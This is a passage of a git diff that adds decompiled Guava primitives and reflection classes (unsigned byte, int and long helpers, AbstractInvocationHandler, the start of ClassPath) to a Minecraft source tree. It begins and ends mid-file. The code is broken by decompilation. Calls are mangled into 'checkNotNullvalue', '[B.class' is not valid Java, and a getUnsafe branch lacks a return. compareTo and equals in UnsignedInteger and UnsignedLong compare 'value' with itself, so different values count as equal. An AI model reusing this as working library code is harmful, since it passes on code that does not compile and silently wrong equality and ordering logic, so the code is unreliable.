+import java.util.Comparator;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnsignedBytes
+{
+  public static final byte MAX_POWER_OF_TWO = -128;
+  public static final byte MAX_VALUE = -1;
+  private static final int UNSIGNED_MASK = 255;
+  
+  private UnsignedBytes() {}
+  
+  public static int toInt(byte value)
+  {
+    return value & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static byte checkedCast(long value)
+  {
+    if (value >> 8 != 0L)
+    {
+      throw new IllegalArgumentException("Out of range: " + value);
+    }
+    return (byte)(int)value;
+  }
+  
+
+
+
+
+
+
+
+  public static byte saturatedCast(long value)
+  {
+    if (value > toInt((byte)-1)) {
+      return -1;
+    }
+    if (value < 0L) {
+      return 0;
+    }
+    return (byte)(int)value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int compare(byte a, byte b)
+  {
+    return toInt(a) - toInt(b);
+  }
+  
+
+
+
+
+
+
+
+  public static byte min(byte... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int min = toInt(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      int next = toInt(array[i]);
+      if (next < min) {
+        min = next;
+      }
+    }
+    return (byte)min;
+  }
+  
+
+
+
+
+
+
+
+  public static byte max(byte... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int max = toInt(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      int next = toInt(array[i]);
+      if (next > max) {
+        max = next;
+      }
+    }
+    return (byte)max;
+  }
+  
+
+
+
+
+  @Beta
+  public static String toString(byte x)
+  {
+    return toString(x, 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static String toString(byte x, int radix)
+  {
+    Preconditions.checkArgument((radix >= 2) && (radix <= 36), "radix (%s) must be between Character.MIN_RADIX and Character.MAX_RADIX", new Object[] { Integer.valueOf(radix) });
+    
+
+    return Integer.toString(toInt(x), radix);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public static byte parseUnsignedByte(String string)
+  {
+    return parseUnsignedByte(string, 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static byte parseUnsignedByte(String string, int radix)
+  {
+    int parse = Integer.parseInt((String)Preconditions.checkNotNull(string), radix);
+    
+    if (parse >> 8 == 0) {
+      return (byte)parse;
+    }
+    throw new NumberFormatException("out of range: " + parse);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String join(String separator, byte... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * (3 + separator.length()));
+    builder.append(toInt(array[0]));
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(toString(array[i]));
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<byte[]> lexicographicalComparator()
+  {
+    return LexicographicalComparatorHolder.BEST_COMPARATOR;
+  }
+  
+  @VisibleForTesting
+  static Comparator<byte[]> lexicographicalComparatorJavaImpl() {
+    return UnsignedBytes.LexicographicalComparatorHolder.PureJavaComparator.INSTANCE;
+  }
+  
+
+
+
+
+
+
+  @VisibleForTesting
+  static class LexicographicalComparatorHolder
+  {
+    static final String UNSAFE_COMPARATOR_NAME = LexicographicalComparatorHolder.class.getName() + "$UnsafeComparator";
+    
+
+    static final Comparator<byte[]> BEST_COMPARATOR = getBestComparator();
+    LexicographicalComparatorHolder() {}
+    
+    @VisibleForTesting
+    static enum UnsafeComparator implements Comparator<byte[]> { INSTANCE;
+      
+      static { BIG_ENDIAN = ByteOrder.nativeOrder().equals(ByteOrder.BIG_ENDIAN);
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        theUnsafe = getUnsafe();
+        
+        BYTE_ARRAY_BASE_OFFSET = theUnsafe.arrayBaseOffset([B.class);
+        
+
+        if (theUnsafe.arrayIndexScale([B.class) != 1) {
+          throw new AssertionError();
+        }
+      }
+      
+
+      static final boolean BIG_ENDIAN;
+      
+      static final Unsafe theUnsafe;
+      static final int BYTE_ARRAY_BASE_OFFSET;
+      private static Unsafe getUnsafe()
+      {
+        try
+        {
+          return Unsafe.getUnsafe();
+        } catch (SecurityException tryReflectionInstead) {
+          try {
+            (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+            {
+              public Unsafe run() throws Exception {
+                Class<Unsafe> k = Unsafe.class;
+                for (Field f : k.getDeclaredFields()) {
+                  f.setAccessible(true);
+                  Object x = f.get(null);
+                  if (k.isInstance(x))
+                    return (Unsafe)k.cast(x);
+                }
+                throw new NoSuchFieldError("the Unsafe");
+              }
+            });
+          } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+          }
+        }
+      }
+      
+      public int compare(byte[] left, byte[] right) {
+        int minLength = Math.min(left.length, right.length);
+        int minWords = minLength / 8;
+        
+
+
+
+
+
+        for (int i = 0; i < minWords * 8; i += 8) {
+          long lw = theUnsafe.getLong(left, BYTE_ARRAY_BASE_OFFSET + i);
+          long rw = theUnsafe.getLong(right, BYTE_ARRAY_BASE_OFFSET + i);
+          if (lw != rw) {
+            if (BIG_ENDIAN) {
+              return UnsignedLongs.compare(lw, rw);
+            }
+            
+
+
+
+
+
+
+
+            int n = Long.numberOfTrailingZeros(lw ^ rw) & 0xFFFFFFF8;
+            return (int)((lw >>> n & 0xFF) - (rw >>> n & 0xFF));
+          }
+        }
+        
+
+        for (int i = minWords * 8; i < minLength; i++) {
+          int result = UnsignedBytes.compare(left[i], right[i]);
+          if (result != 0) {
+            return result;
+          }
+        }
+        return left.length - right.length;
+      }
+      
+      private UnsafeComparator() {} }
+    
+    static enum PureJavaComparator implements Comparator<byte[]> { INSTANCE;
+      
+      private PureJavaComparator() {}
+      public int compare(byte[] left, byte[] right) { int minLength = Math.min(left.length, right.length);
+        for (int i = 0; i < minLength; i++) {
+          int result = UnsignedBytes.compare(left[i], right[i]);
+          if (result != 0) {
+            return result;
+          }
+        }
+        return left.length - right.length;
+      }
+    }
+    
+
+
+    static Comparator<byte[]> getBestComparator()
+    {
+      try
+      {
+        Class<?> theClass = Class.forName(UNSAFE_COMPARATOR_NAME);
+        
+
+
+        return (Comparator)theClass.getEnumConstants()[0];
+      }
+      catch (Throwable t) {}
+      
+      return UnsignedBytes.lexicographicalComparatorJavaImpl();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/UnsignedInteger.java b/src/minecraft/com/google/common/primitives/UnsignedInteger.java
new file mode 100644
index 0000000..a4fcd40
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/UnsignedInteger.java
@@ -0,0 +1,261 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.math.BigInteger;
+import javax.annotation.CheckReturnValue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class UnsignedInteger
+  extends Number
+  implements Comparable<UnsignedInteger>
+{
+  public static final UnsignedInteger ZERO = fromIntBits(0);
+  public static final UnsignedInteger ONE = fromIntBits(1);
+  public static final UnsignedInteger MAX_VALUE = fromIntBits(-1);
+  
+  private final int value;
+  
+  private UnsignedInteger(int value)
+  {
+    this.value = (value & 0xFFFFFFFF);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static UnsignedInteger fromIntBits(int bits)
+  {
+    return new UnsignedInteger(bits);
+  }
+  
+
+
+
+  public static UnsignedInteger valueOf(long value)
+  {
+    Preconditions.checkArgument((value & 0xFFFFFFFF) == value, "value (%s) is outside the range for an unsigned integer value", new Object[] { Long.valueOf(value) });
+    
+    return fromIntBits((int)value);
+  }
+  
+
+
+
+
+
+  public static UnsignedInteger valueOf(BigInteger value)
+  {
+    Preconditions.checkNotNull(value);
+    Preconditions.checkArgument((value.signum() >= 0) && (value.bitLength() <= 32), "value (%s) is outside the range for an unsigned integer value", new Object[] { value });
+    
+    return fromIntBits(value.intValue());
+  }
+  
+
+
+
+
+
+
+  public static UnsignedInteger valueOf(String string)
+  {
+    return valueOf(string, 10);
+  }
+  
+
+
+
+
+
+
+  public static UnsignedInteger valueOf(String string, int radix)
+  {
+    return fromIntBits(UnsignedInts.parseUnsignedInt(string, radix));
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public UnsignedInteger plus(UnsignedInteger val)
+  {
+    return fromIntBits(value + checkNotNullvalue);
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public UnsignedInteger minus(UnsignedInteger val)
+  {
+    return fromIntBits(value - checkNotNullvalue);
+  }
+  
+
+
+
+
+
+
+  @CheckReturnValue
+  @GwtIncompatible("Does not truncate correctly")
+  public UnsignedInteger times(UnsignedInteger val)
+  {
+    return fromIntBits(value * checkNotNullvalue);
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public UnsignedInteger dividedBy(UnsignedInteger val)
+  {
+    return fromIntBits(UnsignedInts.divide(value, checkNotNullvalue));
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public UnsignedInteger mod(UnsignedInteger val)
+  {
+    return fromIntBits(UnsignedInts.remainder(value, checkNotNullvalue));
+  }
+  
+
+
+
+
+
+
+
+  public int intValue()
+  {
+    return value;
+  }
+  
+
+
+
+  public long longValue()
+  {
+    return UnsignedInts.toLong(value);
+  }
+  
+
+
+
+
+  public float floatValue()
+  {
+    return (float)longValue();
+  }
+  
+
+
+
+
+  public double doubleValue()
+  {
+    return longValue();
+  }
+  
+
+
+  public BigInteger bigIntegerValue()
+  {
+    return BigInteger.valueOf(longValue());
+  }
+  
+
+
+
+
+
+  public int compareTo(UnsignedInteger other)
+  {
+    Preconditions.checkNotNull(other);
+    return UnsignedInts.compare(value, value);
+  }
+  
+  public int hashCode()
+  {
+    return value;
+  }
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    if ((obj instanceof UnsignedInteger)) {
+      UnsignedInteger other = (UnsignedInteger)obj;
+      return value == value;
+    }
+    return false;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return toString(10);
+  }
+  
+
+
+
+
+  public String toString(int radix)
+  {
+    return UnsignedInts.toString(value, radix);
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/UnsignedInts.java b/src/minecraft/com/google/common/primitives/UnsignedInts.java
new file mode 100644
index 0000000..b8108b2
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/UnsignedInts.java
@@ -0,0 +1,276 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class UnsignedInts
+{
+  static final long INT_MASK = 4294967295L;
+  
+  private UnsignedInts() {}
+  
+  static int flip(int value)
+  {
+    return value ^ 0x80000000;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int compare(int a, int b)
+  {
+    return Ints.compare(flip(a), flip(b));
+  }
+  
+
+
+  public static long toLong(int value)
+  {
+    return value & 0xFFFFFFFF;
+  }
+  
+
+
+
+
+
+
+
+  public static int min(int... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int min = flip(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      int next = flip(array[i]);
+      if (next < min) {
+        min = next;
+      }
+    }
+    return flip(min);
+  }
+  
+
+
+
+
+
+
+
+  public static int max(int... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int max = flip(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      int next = flip(array[i]);
+      if (next > max) {
+        max = next;
+      }
+    }
+    return flip(max);
+  }
+  
+
+
+
+
+
+
+
+  public static String join(String separator, int... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 5);
+    builder.append(toString(array[0]));
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(toString(array[i]));
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<int[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  static enum LexicographicalComparator implements Comparator<int[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(int[] left, int[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        if (left[i] != right[i]) {
+          return UnsignedInts.compare(left[i], right[i]);
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static int divide(int dividend, int divisor)
+  {
+    return (int)(toLong(dividend) / toLong(divisor));
+  }
+  
+
+
+
+
+
+
+
+  public static int remainder(int dividend, int divisor)
+  {
+    return (int)(toLong(dividend) % toLong(divisor));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int decode(String stringValue)
+  {
+    ParseRequest request = ParseRequest.fromString(stringValue);
+    try
+    {
+      return parseUnsignedInt(rawValue, radix);
+    } catch (NumberFormatException e) {
+      NumberFormatException decodeException = new NumberFormatException("Error parsing value: " + stringValue);
+      
+      decodeException.initCause(e);
+      throw decodeException;
+    }
+  }
+  
+
+
+
+
+
+
+  public static int parseUnsignedInt(String s)
+  {
+    return parseUnsignedInt(s, 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int parseUnsignedInt(String string, int radix)
+  {
+    Preconditions.checkNotNull(string);
+    long result = Long.parseLong(string, radix);
+    if ((result & 0xFFFFFFFF) != result) {
+      throw new NumberFormatException("Input " + string + " in base " + radix + " is not in the range of an unsigned integer");
+    }
+    
+    return (int)result;
+  }
+  
+
+
+  public static String toString(int x)
+  {
+    return toString(x, 10);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toString(int x, int radix)
+  {
+    long asLong = x & 0xFFFFFFFF;
+    return Long.toString(asLong, radix);
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/UnsignedLong.java b/src/minecraft/com/google/common/primitives/UnsignedLong.java
new file mode 100644
index 0000000..a068eaf
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/UnsignedLong.java
@@ -0,0 +1,269 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.math.BigInteger;
+import javax.annotation.CheckReturnValue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+public final class UnsignedLong
+  extends Number
+  implements Comparable<UnsignedLong>, Serializable
+{
+  private static final long UNSIGNED_MASK = Long.MAX_VALUE;
+  public static final UnsignedLong ZERO = new UnsignedLong(0L);
+  public static final UnsignedLong ONE = new UnsignedLong(1L);
+  public static final UnsignedLong MAX_VALUE = new UnsignedLong(-1L);
+  private final long value;
+  
+  private UnsignedLong(long value)
+  {
+    this.value = value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static UnsignedLong fromLongBits(long bits)
+  {
+    return new UnsignedLong(bits);
+  }
+  
+
+
+
+
+
+  public static UnsignedLong valueOf(long value)
+  {
+    Preconditions.checkArgument(value >= 0L, "value (%s) is outside the range for an unsigned long value", new Object[] { Long.valueOf(value) });
+    
+    return fromLongBits(value);
+  }
+  
+
+
+
+
+
+  public static UnsignedLong valueOf(BigInteger value)
+  {
+    Preconditions.checkNotNull(value);
+    Preconditions.checkArgument((value.signum() >= 0) && (value.bitLength() <= 64), "value (%s) is outside the range for an unsigned long value", new Object[] { value });
+    
+    return fromLongBits(value.longValue());
+  }
+  
+
+
+
+
+
+
+  public static UnsignedLong valueOf(String string)
+  {
+    return valueOf(string, 10);
+  }
+  
+
+
+
+
+
+
+
+  public static UnsignedLong valueOf(String string, int radix)
+  {
+    return fromLongBits(UnsignedLongs.parseUnsignedLong(string, radix));
+  }
+  
+
+
+
+
+
+  public UnsignedLong plus(UnsignedLong val)
+  {
+    return fromLongBits(value + checkNotNullvalue);
+  }
+  
+
+
+
+
+
+  public UnsignedLong minus(UnsignedLong val)
+  {
+    return fromLongBits(value - checkNotNullvalue);
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  public UnsignedLong times(UnsignedLong val)
+  {
+    return fromLongBits(value * checkNotNullvalue);
+  }
+  
+
+
+
+
+  @CheckReturnValue
+  public UnsignedLong dividedBy(UnsignedLong val)
+  {
+    return fromLongBits(UnsignedLongs.divide(value, checkNotNullvalue));
+  }
+  
+
+
+
+
+  @CheckReturnValue
+  public UnsignedLong mod(UnsignedLong val)
+  {
+    return fromLongBits(UnsignedLongs.remainder(value, checkNotNullvalue));
+  }
+  
+
+
+
+  public int intValue()
+  {
+    return (int)value;
+  }
+  
+
+
+
+
+
+
+
+  public long longValue()
+  {
+    return value;
+  }
+  
+
+
+
+
+
+  public float floatValue()
+  {
+    float fValue = (float)(value & 0x7FFFFFFFFFFFFFFF);
+    if (value < 0L) {
+      fValue += 9.223372E18F;
+    }
+    return fValue;
+  }
+  
+
+
+
+
+
+  public double doubleValue()
+  {
+    double dValue = value & 0x7FFFFFFFFFFFFFFF;
+    if (value < 0L) {
+      dValue += 9.223372036854776E18D;
+    }
+    return dValue;
+  }
+  
+
+
+  public BigInteger bigIntegerValue()
+  {
+    BigInteger bigInt = BigInteger.valueOf(value & 0x7FFFFFFFFFFFFFFF);
+    if (value < 0L) {
+      bigInt = bigInt.setBit(63);
+    }
+    return bigInt;
+  }
+  
+  public int compareTo(UnsignedLong o)
+  {
+    Preconditions.checkNotNull(o);
+    return UnsignedLongs.compare(value, value);
+  }
+  
+  public int hashCode()
+  {
+    return Longs.hashCode(value);
+  }
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    if ((obj instanceof UnsignedLong)) {
+      UnsignedLong other = (UnsignedLong)obj;
+      return value == value;
+    }
+    return false;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return UnsignedLongs.toString(value);
+  }
+  
+
+
+
+
+  public String toString(int radix)
+  {
+    return UnsignedLongs.toString(value, radix);
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/UnsignedLongs.java b/src/minecraft/com/google/common/primitives/UnsignedLongs.java
new file mode 100644
index 0000000..d40fc6b
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/UnsignedLongs.java
@@ -0,0 +1,395 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.math.BigInteger;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class UnsignedLongs
+{
+  public static final long MAX_VALUE = -1L;
+  
+  private UnsignedLongs() {}
+  
+  private static long flip(long a)
+  {
+    return a ^ 0x8000000000000000;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int compare(long a, long b)
+  {
+    return Longs.compare(flip(a), flip(b));
+  }
+  
+
+
+
+
+
+
+
+  public static long min(long... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    long min = flip(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      long next = flip(array[i]);
+      if (next < min) {
+        min = next;
+      }
+    }
+    return flip(min);
+  }
+  
+
+
+
+
+
+
+
+  public static long max(long... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    long max = flip(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      long next = flip(array[i]);
+      if (next > max) {
+        max = next;
+      }
+    }
+    return flip(max);
+  }
+  
+
+
+
+
+
+
+
+  public static String join(String separator, long... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 5);
+    builder.append(toString(array[0]));
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(toString(array[i]));
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<long[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  static enum LexicographicalComparator implements Comparator<long[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(long[] left, long[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        if (left[i] != right[i]) {
+          return UnsignedLongs.compare(left[i], right[i]);
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static long divide(long dividend, long divisor)
+  {
+    if (divisor < 0L) {
+      if (compare(dividend, divisor) < 0) {
+        return 0L;
+      }
+      return 1L;
+    }
+    
+
+
+    if (dividend >= 0L) {
+      return dividend / divisor;
+    }
+    
+
+
+
+
+
+
+    long quotient = (dividend >>> 1) / divisor << 1;
+    long rem = dividend - quotient * divisor;
+    return quotient + (compare(rem, divisor) >= 0 ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public static long remainder(long dividend, long divisor)
+  {
+    if (divisor < 0L) {
+      if (compare(dividend, divisor) < 0) {
+        return dividend;
+      }
+      return dividend - divisor;
+    }
+    
+
+
+    if (dividend >= 0L) {
+      return dividend % divisor;
+    }
+    
+
+
+
+
+
+
+    long quotient = (dividend >>> 1) / divisor << 1;
+    long rem = dividend - quotient * divisor;
+    return rem - (compare(rem, divisor) >= 0 ? divisor : 0L);
+  }
+  
+
+
+
+
+
+
+
+  public static long parseUnsignedLong(String s)
+  {
+    return parseUnsignedLong(s, 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long decode(String stringValue)
+  {
+    ParseRequest request = ParseRequest.fromString(stringValue);
+    try
+    {
+      return parseUnsignedLong(rawValue, radix);
+    } catch (NumberFormatException e) {
+      NumberFormatException decodeException = new NumberFormatException("Error parsing value: " + stringValue);
+      
+      decodeException.initCause(e);
+      throw decodeException;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static long parseUnsignedLong(String s, int radix)
+  {
+    Preconditions.checkNotNull(s);
+    if (s.length() == 0) {
+      throw new NumberFormatException("empty string");
+    }
+    if ((radix < 2) || (radix > 36)) {
+      throw new NumberFormatException("illegal radix: " + radix);
+    }
+    
+    int max_safe_pos = maxSafeDigits[radix] - 1;
+    long value = 0L;
+    for (int pos = 0; pos < s.length(); pos++) {
+      int digit = Character.digit(s.charAt(pos), radix);
+      if (digit == -1) {
+        throw new NumberFormatException(s);
+      }
+      if ((pos > max_safe_pos) && (overflowInParse(value, digit, radix))) {
+        throw new NumberFormatException("Too large for unsigned long: " + s);
+      }
+      value = value * radix + digit;
+    }
+    
+    return value;
+  }
+  
+
+
+
+
+
+  private static boolean overflowInParse(long current, int digit, int radix)
+  {
+    if (current >= 0L) {
+      if (current < maxValueDivs[radix]) {
+        return false;
+      }
+      if (current > maxValueDivs[radix]) {
+        return true;
+      }
+      
+      return digit > maxValueMods[radix];
+    }
+    
+
+    return true;
+  }
+  
+
+
+  public static String toString(long x)
+  {
+    return toString(x, 10);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toString(long x, int radix)
+  {
+    Preconditions.checkArgument((radix >= 2) && (radix <= 36), "radix (%s) must be between Character.MIN_RADIX and Character.MAX_RADIX", new Object[] { Integer.valueOf(radix) });
+    
+    if (x == 0L)
+    {
+      return "0";
+    }
+    char[] buf = new char[64];
+    int i = buf.length;
+    if (x < 0L)
+    {
+
+      long quotient = divide(x, radix);
+      long rem = x - quotient * radix;
+      buf[(--i)] = Character.forDigit((int)rem, radix);
+      x = quotient;
+    }
+    
+    while (x > 0L) {
+      buf[(--i)] = Character.forDigit((int)(x % radix), radix);
+      x /= radix;
+    }
+    
+    return new String(buf, i, buf.length - i);
+  }
+  
+
+
+  private static final long[] maxValueDivs = new long[37];
+  private static final int[] maxValueMods = new int[37];
+  private static final int[] maxSafeDigits = new int[37];
+  
+  static { BigInteger overflow = new BigInteger("10000000000000000", 16);
+    for (int i = 2; i <= 36; i++) {
+      maxValueDivs[i] = divide(-1L, i);
+      maxValueMods[i] = ((int)remainder(-1L, i));
+      maxSafeDigits[i] = (overflow.toString(i).length() - 1);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/package-info.java b/src/minecraft/com/google/common/primitives/package-info.java
new file mode 100644
index 0000000..13671c9
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.primitives;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/reflect/AbstractInvocationHandler.java b/src/minecraft/com/google/common/reflect/AbstractInvocationHandler.java
new file mode 100644
index 0000000..00e68c1
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/AbstractInvocationHandler.java
@@ -0,0 +1,133 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.Arrays;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractInvocationHandler
+  implements InvocationHandler
+{
+  private static final Object[] NO_ARGS = new Object[0];
+  
+
+
+
+
+
+
+  public AbstractInvocationHandler() {}
+  
+
+
+
+
+
+  public final Object invoke(Object proxy, Method method, @Nullable Object[] args)
+    throws Throwable
+  {
+    if (args == null) {
+      args = NO_ARGS;
+    }
+    if ((args.length == 0) && (method.getName().equals("hashCode"))) {
+      return Integer.valueOf(hashCode());
+    }
+    if ((args.length == 1) && (method.getName().equals("equals")) && (method.getParameterTypes()[0] == Object.class))
+    {
+
+      Object arg = args[0];
+      if (arg == null) {
+        return Boolean.valueOf(false);
+      }
+      if (proxy == arg) {
+        return Boolean.valueOf(true);
+      }
+      return Boolean.valueOf((isProxyOfSameInterfaces(arg, proxy.getClass())) && (equals(Proxy.getInvocationHandler(arg))));
+    }
+    
+    if ((args.length == 0) && (method.getName().equals("toString"))) {
+      return toString();
+    }
+    return handleInvocation(proxy, method, args);
+  }
+  
+
+
+
+
+
+
+
+
+  protected abstract Object handleInvocation(Object paramObject, Method paramMethod, Object[] paramArrayOfObject)
+    throws Throwable;
+  
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    return super.equals(obj);
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return super.toString();
+  }
+  
+  private static boolean isProxyOfSameInterfaces(Object arg, Class<?> proxyClass) {
+    return (proxyClass.isInstance(arg)) || ((Proxy.isProxyClass(arg.getClass())) && (Arrays.equals(arg.getClass().getInterfaces(), proxyClass.getInterfaces())));
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/ClassPath.java b/src/minecraft/com/google/common/reflect/ClassPath.java
new file mode 100644
index 0000000..e6f95d6
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/ClassPath.java
@@ -0,0 +1,444 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.CharMatcher;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Splitter;
+import com.google.common.collect.FluentIterable;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.ImmutableSet.Builder;
+import com.google.common.collect.ImmutableSortedSet;
+import com.google.common.collect.ImmutableSortedSet.Builder;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Ordering;
+import com.google.common.collect.Sets;
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Enumeration;
+import java.util.LinkedHashMap;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.jar.Attributes;
+import java.util.jar.Attributes.Name;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.jar.Manifest;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class ClassPath
+{
+  private static final Logger logger = Logger.getLogger(ClassPath.class.getName());
+  
+  private static final Predicate<ClassInfo> IS_TOP_LEVEL = new Predicate() {
+    public boolean apply(ClassPath.ClassInfo info) {
+      return className.indexOf('$') == -1;
+    }
+  };
+  
+
+  private static final Splitter CLASS_PATH_ATTRIBUTE_SEPARATOR = Splitter.on(" ").omitEmptyStrings();
+  
+  private static final String CLASS_FILE_NAME_EXTENSION = ".class";
+  
+  private final ImmutableSet<ResourceInfo> resources;
+  
+  private ClassPath(ImmutableSet<ResourceInfo> resources)
+  {
+    this.resources = resources;
+  }
+  
+
+
+
+
+
+
+
+  public static ClassPath from(ClassLoader classloader)
+    throws IOException
+  {
+    Scanner scanner = new Scanner();
